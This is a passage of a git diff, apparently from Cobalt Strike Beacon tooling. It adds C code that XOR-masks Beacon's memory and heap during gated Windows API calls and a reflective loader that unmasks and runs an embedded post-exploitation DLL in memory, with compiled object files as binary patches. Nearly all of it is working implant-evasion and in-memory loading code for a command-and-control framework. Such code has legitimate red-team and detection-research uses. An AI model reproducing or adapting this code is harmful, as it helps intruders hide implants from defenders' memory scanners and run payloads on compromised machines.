(e.g. rcx, rdx, ...) + * bMask - BOOL indicating whether Beacon should be masked during the call + * ULONG_PTR - retValue of the atomic function call + */ +typedef struct { + PVOID functionPtr; + WinApi function; + int numOfArgs; + ULONG_PTR args[MAX_BEACON_GATE_ARGUMENTS]; + BOOL bMask; + ULONG_PTR retValue; +} FUNCTION_CALL, * PFUNCTION_CALL; + +/* Currently support max 10 arguments. */ +/* NB For x86 we only support std call convention as this is what Windows uses for most Win32 APIs. */ +typedef ULONG_PTR(__stdcall* BEACON_GATE_00)(VOID); +typedef ULONG_PTR(__stdcall* BEACON_GATE_01)(ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_02)(ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_03)(ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_04)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_05)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_06)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_07)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_08)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_09)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_10)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); diff --git a/mask/src/mask.c b/mask/src/mask.c new file mode 100644 index 0000000..2ae4f07 --- /dev/null +++ b/mask/src/mask.c @@ -0,0 +1,175 @@ +#include +#include "beacon.h" +#include "sleepmask.h" +#include "beacon_gate.h" +#include "tcg.h" + +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); + +void gate_wrapper ( PFUNCTION_CALL function_call ) +{ + ULONG_PTR result = 0; + + switch ( function_call->numOfArgs ) + { + case 0: + result = beaconGate ( 00 ) ( ); + break; + + case 1: + result = beaconGate ( 01 ) ( arg ( 0 ) ); + break; + + case 2: + result = beaconGate ( 02 ) ( arg ( 0 ), arg ( 1 ) ); + break; + + case 3: + result = beaconGate ( 03 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ) ); + break; + + case 4: + result = beaconGate ( 04 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ) ); + break; + + case 5: + result = beaconGate ( 05 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ) ); + break; + + case 6: + result = beaconGate ( 06 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ) ); + break; + + case 7: + result = beaconGate ( 07 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ) ); + break; + + case 8: + result = beaconGate ( 08 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ) ); + break; + + case 9: + result = beaconGate ( 09 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ), arg ( 8 ) ); + break; + + case 10: + result = beaconGate ( 10 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ), arg ( 8 ), arg ( 9 ) ); + break; + + default: + break; + } + + function_call->retValue = result; +} + +void xor ( char * buffer, size_t buffer_len, char * key, size_t key_len ) +{ + for ( size_t i = 0; i < buffer_len; i++ ) + { + buffer [ i ] ^= key [ i % key_len ]; + } +} + +BOOL can_write ( DWORD protection ) +{ + switch ( protection ) + { + case PAGE_EXECUTE_READWRITE: + case PAGE_EXECUTE_WRITECOPY: + case PAGE_READWRITE: + case PAGE_WRITECOPY: + return TRUE; + + default: + return FALSE; + } +} + +void mask_section ( PALLOCATED_MEMORY_SECTION section, char * key, BOOL mask ) +{ + DWORD old_protect = 0; + + if ( mask && ! can_write ( section->CurrentProtect ) ) + { + if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->VirtualSize, PAGE_READWRITE, &old_protect ) ) + { + section->CurrentProtect = PAGE_READWRITE; + section->PreviousProtect = old_protect; + } + } + + if ( can_write ( section->CurrentProtect ) ) { + xor ( section->BaseAddress, section->VirtualSize, key, MASK_SIZE ); + } + + if ( ! mask && section->CurrentProtect != section->PreviousProtect ) + { + if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->VirtualSize, section->PreviousProtect, &old_protect ) ) + { + section->CurrentProtect = section->PreviousProtect; + section->PreviousProtect = old_protect; + } + } +} + +void mask_region ( ALLOCATED_MEMORY_REGION * region, char * key, BOOL mask ) +{ + int section_count = sizeof ( region->Sections ) / sizeof ( ALLOCATED_MEMORY_SECTION ); + + for ( int i = 0; i < section_count; i++ ) + { + if ( region->Sections[i].BaseAddress == NULL || region->Sections[i].VirtualSize == 0 ) { + continue; + } + + if ( region->Sections[i].MaskSection ) { + mask_section ( ®ion->Sections[i], key, mask ); + } + } +} + +void mask_beacon ( PBEACON_INFO beacon_info, BOOL mask ) +{ + int region_count = sizeof ( beacon_info->allocatedMemory.AllocatedMemoryRegions ) / sizeof ( ALLOCATED_MEMORY_REGION ); + + for ( size_t i = 0; i < region_count; i++ ) + { + if ( beacon_info->allocatedMemory.AllocatedMemoryRegions[i].Purpose == PURPOSE_BEACON_MEMORY ) + { + mask_region ( &beacon_info->allocatedMemory.AllocatedMemoryRegions[i], beacon_info->mask, mask ); + break; + } + } +} + +void mask_heap ( PBEACON_INFO beacon_info ) +{ + int count = 0; + + do + { + xor ( beacon_info->heap_records[count].ptr, beacon_info->heap_records[count].size, beacon_info->mask, MASK_SIZE ); + count++; + + } while ( beacon_info->heap_records[count].ptr != NULL ); +} + +void mask_memory ( PBEACON_INFO beacon_info, BOOL mask ) +{ + mask_beacon ( beacon_info, mask ); + mask_heap ( beacon_info ); +} + +void go ( PBEACON_INFO beacon_info, PFUNCTION_CALL function_call ) +{ + if ( function_call->bMask ) { + mask_memory ( beacon_info, TRUE ); + } + + gate_wrapper ( function_call ); + + if ( function_call->bMask ) { + mask_memory ( beacon_info, FALSE ); + } +} diff --git a/mask/src/sleepmask.h b/mask/src/sleepmask.h new file mode 100644 index 0000000..f00d74f --- /dev/null +++ b/mask/src/sleepmask.h @@ -0,0 +1,42 @@ +/* Define the supported action types for the pivot beacons */ +typedef enum _PIVOT_ACTION { + ACTION_UNKNOWN, + ACTION_TCP_RECV, + ACTION_TCP_ACCEPT, + ACTION_PIPE_WAIT, + ACTION_PIPE_PEEK +} PIVOT_ACTION; + +/* + * action - defines which ACTION_ type to use in the pivot_sleep + * in - defines the in socket for the ACTION_TCP_ types +* out - defines the out socket for the ACTION_TCP_ types + * pipe - defines the pipe for the ACTION_PIPE_ types + */ +typedef struct _PIVOT_ARGS { + PIVOT_ACTION action; + SOCKET in; + SOCKET out; + HANDLE pipe; +} PIVOT_ARGS, * PPIVOT_ARGS; + +typedef enum _REASON_FOR_CALL { + DEFAULT_SLEEP, + PIVOT_SLEEP, + BEACON_GATE +} REASON_FOR_CALL; + +/* + * version - version of the structure. format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * sleepmask_type - sleep mask type: +* sleep_time - the time to sleep in milliseconds + * beacon_info - the BEACON_INFO structure + * pivot_args - the PIVOT_ARGS structure + */ +typedef struct _SLEEPMASK_INFO { + unsigned int version; + REASON_FOR_CALL reason; + DWORD sleep_time; + BEACON_INFO beacon_info; + PIVOT_ARGS pivot_args; +} SLEEPMASK_INFO, * PSLEEPMASK_INFO; \ No newline at end of file diff --git a/postex-udrl/src/tcg.h b/mask/src/tcg.h similarity index 85% rename from postex-udrl/src/tcg.h rename to mask/src/tcg.h index f48cbd9..75a77e4 100644 --- a/postex-udrl/src/tcg.h +++ b/mask/src/tcg.h @@ -15,7 +15,7 @@ * endorse or promote products derived from this software without specific prior written * permission. * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, @@ -26,11 +26,19 @@ * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ +// used by both the Pico Loader and DLL loader typedef struct { __typeof__(LoadLibraryA) * LoadLibraryA; __typeof__(GetProcAddress) * GetProcAddress; } IMPORTFUNCS; +// linker intrinsic to map a function hash to a hook registered via Crystal Palace +FARPROC __resolve_hook(DWORD funcHash); + +/* + * Structs used by our DLL loader + */ + #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) #define DEREF( name )*(UINT_PTR *)(name) @@ -40,6 +48,12 @@ typedef struct { IMAGE_OPTIONAL_HEADER * OptionalHeader; } DLLDATA; +/* + * utility functions + */ +DWORD adler32sum(unsigned char * buffer, DWORD length); +DWORD ror13hash(const char * c); + /* * printf-style debugging. */ @@ -50,6 +64,7 @@ void dprintf(char * format, ...); */ typedef void (*PICOMAIN_FUNC)(char * arg); +PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); int PicoCodeSize(char * src); int PicoDataSize(char * src); @@ -58,8 +73,8 @@ void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); /* * Resolve functions by walking the export address table */ -void * findFunctionByHash(char * src, DWORD wantedFunction); -char * findModuleByHash(DWORD moduleHash); +FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); +HANDLE findModuleByHash(DWORD moduleHash); /* * DLL parsing and loading functions diff --git a/postex-udrl/Makefile b/postex-udrl/Makefile deleted file mode 100644 index 12f49f9..0000000 --- a/postex-udrl/Makefile +++ /dev/null @@ -1,12 +0,0 @@ -CC_64 = x86_64-w64-mingw32-gcc - -all: bin/loader.x64.o - -bin: - mkdir bin - -bin/loader.x64.o: bin - $(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o - -clean: - rm -f bin/* \ No newline at end of file diff --git a/postex-udrl/README.md b/postex-udrl/README.md deleted file mode 100644 index a8536d4..0000000 --- a/postex-udrl/README.md +++ /dev/null @@ -1,13 +0,0 @@ -# Postex Loader - -This loader is used with Beacon's fork & run commands that utilise a postex DLL. - -It assumes that `post-ex.smart-inject` is enabled to receive pointers to -GetModuleHandleA and GetProcAddress from the parent Beacon. The loader -uses these to resolve APIs required to load the DLL, rather than walking -the export address table. - -The loader also passes RDATA_SECTION information to the postex DLL, as -some long-running jobs can obfuscate their .rdata section while waiting. - -The postex DLL is masked with a random XOR key and unmasked at runtime. diff --git a/postex-udrl/bin/loader.x64.o b/postex-udrl/bin/loader.x64.o deleted file mode 100644 index 31245e1200268624a338cd135fa4e112596ba124..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2735 zcma)8&u<$=6rPQp#;AdqDusxjrZ`eTs!1Czg^Nux%|^A$lHf=jD&yGO%HYJ&dIL#R zq_iQ3Wo2P;As`O@1Gw-*{dIEEqC^}}$|*=WL;|EBg5*OaQYotW-po4Qt&LzL?|k#k z_ujmD^LEGCj~-&w9_e7LS0F!&nEH$pmpML3AOey&cJ>&9qC`3Pzb$ ziHsMEt>)a^Jn3e<4#N<9)$Ud?7G-_W$W*hg0^Rpce6%CdW%GHjaf=ajm3Q^o7BgOo zbP>b5F6H63ruekzOD}tELm2M1(0NsiB~|Npbz!GZwGu(qO7^Js(O+t{nrd?lmuo+( z7T;4BKG}a6tdh}4& z^@_!J)K$JmF`?h0ewA;^ZdZ02)JZcf=rZqyxvGd5R(X{~f0!s23c`+dS}OoOa(+v4 zL5pun6ke>%cC7Nv6c%=JGhX5wc48OWtptw4TEn3<&J6j9-4Hu39fh8`Cl@QzFTyOO z+Q}`|qHKrY&(Z=w7)1kid528ETUw{O!1sZ^RG>&pE7TCH5h;cL#}U*0K; z6;N5SW>7Je23%81qLRQ?8*m%$t2R@YVmB$zu^X(9qFlL&0hVsm-qtGLC+^SJ5O3Ay z`|8qQ*R{bmKOAh^0T5sOeb2g!{oBcHb*bxGyvHsEt8u<>Zea2N(FhBG)|4 z_b+{?mXcS6z*^oGOP2UmBuQYa@?Sx1sCEKB#Ef7?)s`L}$0^m; z%j)GjbU5d4m%U91_}T*_exIT-Ch%ttKJ0HltQ=u93c~Om3IdJ#i+E)^o&HfQ(*ykA zcWY>1;FZwvp>xR>LMQuAyq}xwKLu5zalj|=^Rs&h|4D&5;g{C(v&Vp*5@;4k>OKT| zT5z8Nbqn+*5S6u`EdxCx&zNXk)qZb z*Ud^f^C^^5Z*$+O^kz$q{C7}Sx+{q??o;r$p+)O;II{LBlzne=-^}t1+;=efq@6JO z+=xcorv2j^gdeRenbcrBo+28J{Is#uS^id?AwSaU4H7s_GTHhNy=1O5F`qXvUpFyp z9!5(WMIA9oGURyv^*}>R92IpSVRg-49t{n|2UW17>A;3%_QP{?bL>oRW>n9Zxx%ET z8xy%=5vb@EObzK~qL7`=>uP#3i=rk%GYXklHj4@_vQ#QJF_ofV;<<4nZOq0T>MS2Q z$K(B{!ecqZoKELqWMV02HZeLjF!E-&Xd085i7AI{>H0xGv3$Oe`Ij}$7`o0zb94IZ b7brCpCt@6)m?{`%k?~2>nAHloNt68pSr1Ay diff --git a/postex-udrl/loader.spec b/postex-udrl/loader.spec deleted file mode 100644 index 8d5b341..0000000 --- a/postex-udrl/loader.spec +++ /dev/null @@ -1,24 +0,0 @@ -name "Beacon Postex Loader" -describe "PIC loader for Cobalt Strike's postex DLLs" -author "Daniel Duggan (@_RastaMouse)" - -x64: - load "bin/loader.x64.o" - make pic +gofirst +optimize +disco - dfr "resolve" "strings" - patch "pGetModuleHandle" $GMH - patch "pGetProcAddress" $GPA - mergelib "../libtcg.x64.zip" - - generate $KEY 128 - - push $DLL - xor $KEY - preplen - link "dll" - - push $KEY - preplen - link "key" - - export \ No newline at end of file diff --git a/postex-udrl/src/loader.c b/postex-udrl/src/loader.c deleted file mode 100644 index e321c45..0000000 --- a/postex-udrl/src/loader.c +++ /dev/null @@ -1,152 +0,0 @@ -/* - * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include "tcg.h" - -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); -DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count); - -__typeof__(GetModuleHandleA) * pGetModuleHandle __attribute__((section(".text"))); -__typeof__(GetProcAddress) * pGetProcAddress __attribute__((section(".text"))); - -char * resolve(char * module, char * function) { - HANDLE hModule = pGetModuleHandle(module); - if (hModule == NULL) { - hModule = LoadLibraryA(module); - } - return (char *)pGetProcAddress(hModule, function); -} - -#define GETRESOURCE(x) (char *)&x - -char _DLL_[0] __attribute__((section("dll"))); -char _KEY_[0] __attribute__((section("key"))); - -typedef struct { - int length; - char value[]; -} RESOURCE; - -typedef struct { - char * start; - DWORD length; - DWORD offset; -} RDATA_SECTION; - -void FixSectionPermissions(DLLDATA * dll, char * dst, RDATA_SECTION * rdata) -{ - DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections; - IMAGE_SECTION_HEADER * sectionHdr = NULL; - void * sectionDst = NULL; - DWORD sectionSize = 0; - DWORD newProtection = 0; - DWORD oldProtection = 0; - - sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader); - - for (int i = 0; i < numberOfSections; i++) - { - sectionDst = dst + sectionHdr->VirtualAddress; - sectionSize = sectionHdr->SizeOfRawData; - - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) { - newProtection = PAGE_WRITECOPY; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) { - newProtection = PAGE_READONLY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) { - newProtection = PAGE_READWRITE; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) { - newProtection = PAGE_EXECUTE; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtection = PAGE_EXECUTE_WRITECOPY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtection = PAGE_EXECUTE_READ; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) { - newProtection = PAGE_EXECUTE_READWRITE; - } - - KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtection, &oldProtection); - - if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) { - rdata->start = sectionDst; - rdata->length = sectionSize; - rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size; - } - - sectionHdr++; - } -} - -void go(void * loaderArguments) -{ - IMPORTFUNCS funcs; - funcs.LoadLibraryA = LoadLibraryA; - funcs.GetProcAddress = GetProcAddress; - - /* get the masked dll and key */ - RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_); - RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_); - - /* unmask and load into memory */ - char * src = (char *)KERNEL32$VirtualAlloc(NULL, dll->length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - for (int i = 0; i < dll->length; i++) { - src[i] = dll->value[i] ^ key->value[i % key->length]; - } - - /* parse dll headers */ - DLLDATA data; - ParseDLL(src, &data); - - /* load it into new memory */ - char * dst = (char *)KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - - LoadDLL(&data, src, dst); - ProcessImports(&funcs, &data, dst); - - RDATA_SECTION rdata; - FixSectionPermissions(&data, dst, &rdata); - - /* get the entry point */ - DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst); - - /* free the unmasked copy */ - KERNEL32$VirtualFree(src, 0, MEM_RELEASE); - - /* call entry point */ - entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, &rdata); - entryPoint((HINSTANCE)GETRESOURCE(go), 0x04, loaderArguments); -} \ No newline at end of file diff --git a/postex/Makefile b/postex/Makefile new file mode 100644 index 0000000..d15d4b8 --- /dev/null +++ b/postex/Makefile @@ -0,0 +1,19 @@ +CC=i686-w64-mingw32-gcc +CC_64=x86_64-w64-mingw32-gcc +CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith + +.PHONY: all x86 x64 clean + +all: x86 x64 + +bin: + mkdir -p bin + +x86: bin + $(CC) -DWIN_X86 $(CFLAGS) -c src/loader.c -o bin/loader.x86.o + +x64: bin + $(CC_64) -DWIN_X64 $(CFLAGS) -c src/loader.c -o bin/loader.x64.o + +clean: + rm -rf bin diff --git a/postex/bin/loader.x64.o b/postex/bin/loader.x64.o new file mode 100644 index 0000000000000000000000000000000000000000..54f2b686d3bbd5ec46fa13ca07119f1e096e0313 GIT binary patch literal 2681 zcma)8O-vg{6rRNm>oC zR1lQ5tCb~-Qw}{KwNLCY0I5`j%lwO>wm8g`1FO{gu0X2vC(zxH7-L=;>RWs7g zeDl5Uy?HZl%#ixj$EcMKFcuKV%YwQ(qYG?xvX`+@iLr94HTPqXS?r@=Dyb)3y8U2? z#frg;x!is>H#ZMmDw9e4U&s*aE?!Y*pGg;-X^hr|1$BE5&f16<3QjfZ=p4R)?kdiN z+97cXIRSZ`Ep*n+m4)sy}l>sqn?? z6*k>rbKDeRt0gi;%+}jNPM%O2_rfqN-tWG!5&wWM?0$=7c>epqGL1%5=6T@^*S$L2 zf$N^h_$|1*qnG)nQlUKm9O7ntPb?rIdePhOUtyT;z-g>P{2IyllPBDG$c+bN@~=eN zy>KhrZvDo3&x6m~`Jz&hKw0aZRVvz7JRe^MQ^x8$B1~RccCb+l-^C4M;Z@d6J6OLf z6s{xK=4KQh)`8ogvE_K$8^KO*)nP%1X}!EsaEtTGJd|5MDw_P6kynmF?kTZfT~EG&+ji)E#BpkxttckLY8rxf6f>*<^B~jJ!|P({KlN)(^qMj6aIxm0!&0 zF0|z+3L&nNyIS>KpcYq!?q;;nuGYdk#rQS<94|lWobe z(V2aWj~a~wIQ=$zJdSgIiEv-vdve#nQ2cedr}wRE>B-(RVCzi*?8N6~H_#suD3AVm zfxbk4T%Z%UAFl}XCeR6iIM53MsX($obdO#X=o*j}c?syG;Qj(SC6E`nQhr``+r!w) z0u_Ny3xtl*A6F0T4x$@JyYqU+00dyQFMvPtOZ&ByIsm!44u2sh$+2%R0WH1zmpWgBT-dIQ*Z7!5{}T+ zZ4Pq3k2s?JHLkZz>{;q^+-sxz9XlxE1kls#)!1IMr*z^TiB7h$x!+-`kB7NmTzXt6 zOU9g=Mq8r2G1iBVqSl!aqR}XhrAdf6V-&|?uGkC>7V}9Hv(&`=(8O#sF~2r2v80w$ z`y&yHlo6A{z0W8qW^H#Wx-2_)7Z9t|fFz~__?YdAeI zm7v5U>5E!Yn+?NERCMHg-|%Q)BALl#$87GLGCZV2dd~#Tr!{>#nF+gWP3yUWjBBd; wA0d#Vj;*ng^ql(sI2|5kjf@8;rm~uzW6Gqi&Bn6nNu6m~t*7^LGIyE%11FtU#sB~S literal 0 HcmV?d00001 diff --git a/postex/bin/loader.x86.o b/postex/bin/loader.x86.o new file mode 100644 index 0000000000000000000000000000000000000000..1d101b12cfb4f820d418cd7d024fe7ec475cb395 GIT binary patch literal 2606 zcma)8UuauZ7(chU&GHaUrbVZl8eNnQH0z%^I;W7>9;!5*p=~zD9Jg6>vqqDq+@x*| z4yIYLmusQVLu7-&U@yK%Hv}P4wayAw=!3Y5eW+M5NX3Anu=@MXy*IsCD(=8J=R3de z_x(BNJ2xj$X$PY=>}G7QkYp)TP|p^GYz~)Pj6E$ecA?o^--ju{+J-~PL?PkeZ6}6V zTRC(ppWjaB#Lk14%w&}Rb4mW*P$%z-xBq}M0%I*$el6Ey@E6|S{%jq11*=u?x^O1c z$b@(#Q;X|Al`5^5Ni^afy(PH0RI122ua?eL*~I+@_vms^sBOh%a$&^1`cP0d;#JGU zb8{Z93@)Ff`Pg8oGQ7Yy$n65J&}8rpgKhcJ`T7E{lH%7xMtsBIRcWbImVI-(3|;~8 zQy?Fc`p@41_~xR11X~xh_C@{sX@3b8!sj7g)jpZwU+O)`hp!{VI@u9oi3>eJFC~rH z!`c`l=7Jm~R&8f~ov#^u4Jr>g0mI=yuyp>JHJ2@-6?BG|?MO5HBb~2&!Ea&L%U<~R z&GB1C|B4Y`)))03^>6>UrhldXqn}*S5xviLwgR;yZlWfy1EB@b7S#*loou)+!Z?D&+Vq{BUAl z0o4EPb1OHxt}agOHMrl1ujx=@Ue#l;qjNQ8S419uJ?6nRZY}W*y2^+7y6>G!w>LLu zXK&8;c6UD)Xze``-xp}_eCAAgtg}OW^Dtymaezs0d8FN5S)N8c_5hA3 z{J_a|U6hF8gN}ZM-7JLhK_MNkVRXB93M`9}etX@lh;f&Ye!%z$dJ9{}_^6OPi1834 zH`@p4F@c33JuI+;kjxkZkOD$`4btO6x&djo;Qa>4%!=dppU%q7;*g#YyZ}bhw&0i1 zmWFH6do?MPN@rB8sNLRV?6j20C6cNZ8Zj{%6-~|OGHHRmfx8W(fEcg+GJb}tQRlrH7X*l~2S*g{?>7>!Vqb4IKg zBR?i`!9r*Co&XK6k7E0jK3KNM;gp}d-gSNgtbhyjLEoUiBMS`aPJ6$2=0(LE& x#S&Uxr9)N*(?#`_ln`l8*w4$^@tjt`w)j{ +#include "tcg.h" +#include "loader.h" + +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT LPVOID WINAPIV MSVCRT$malloc ( size_t ); +DECLSPEC_IMPORT void WINAPIV MSVCRT$free ( LPVOID ); + +__typeof__ ( GetModuleHandleA ) * pGetModuleHandle __attribute__ ( ( section ( ".text" ) ) ); +__typeof__ ( GetProcAddress ) * pGetProcAddress __attribute__ ( ( section ( ".text" ) ) ); + +char __DLLDATA__ [ 0 ] __attribute__ ( ( section ( "dll_data" ) ) ); +char __KEYDATA__ [ 0 ] __attribute__ ( ( section ( "key_data" ) ) ); + +FARPROC resolve ( char * mod_name, char * func_name ) +{ + HANDLE module = pGetModuleHandle ( mod_name ); + + if ( module == NULL ) { + module = LoadLibraryA ( mod_name ); + } + + return pGetProcAddress ( module, func_name ); +} + +#ifdef WIN_X86 +__declspec ( noinline ) ULONG_PTR caller ( VOID ) { return ( ULONG_PTR ) WIN_GET_CALLER ( ); } +#endif + +void go ( LPVOID arguments ) +{ + RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( __DLLDATA__ ); + RESOURCE * xor_key = ( RESOURCE * ) GETRESOURCE ( __KEYDATA__ ); + + char * dll_src = MSVCRT$malloc ( masked_dll->length ); + + for ( size_t i = 0; i < masked_dll->length; i++ ) { + dll_src [ i ] = masked_dll->value [ i ] ^ xor_key->value [ i % xor_key->length ]; + } + + DLLDATA dll_data; + ParseDLL ( dll_src, &dll_data ); + + char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE ); + LoadDLL ( &dll_data, dll_src, dll_dst ); + + IMPORTFUNCS funcs; + funcs.GetProcAddress = GetProcAddress; + funcs.LoadLibraryA = LoadLibraryA; + + ProcessImports ( &funcs, &dll_data, dll_dst ); + + RDATA_SECTION rdata; + memset ( &rdata, 0, sizeof ( RDATA_SECTION ) ); + + fix_section_permissions ( &dll_data, dll_dst, &rdata ); + + DLLMAIN_FUNC dll_main = EntryPoint ( &dll_data, dll_dst ); + + MSVCRT$free ( dll_src ); + + dll_main ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); + dll_main ( ( HINSTANCE ) &go, 4, arguments ); +} + +void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, RDATA_SECTION * rdata ) +{ + DWORD section_count = 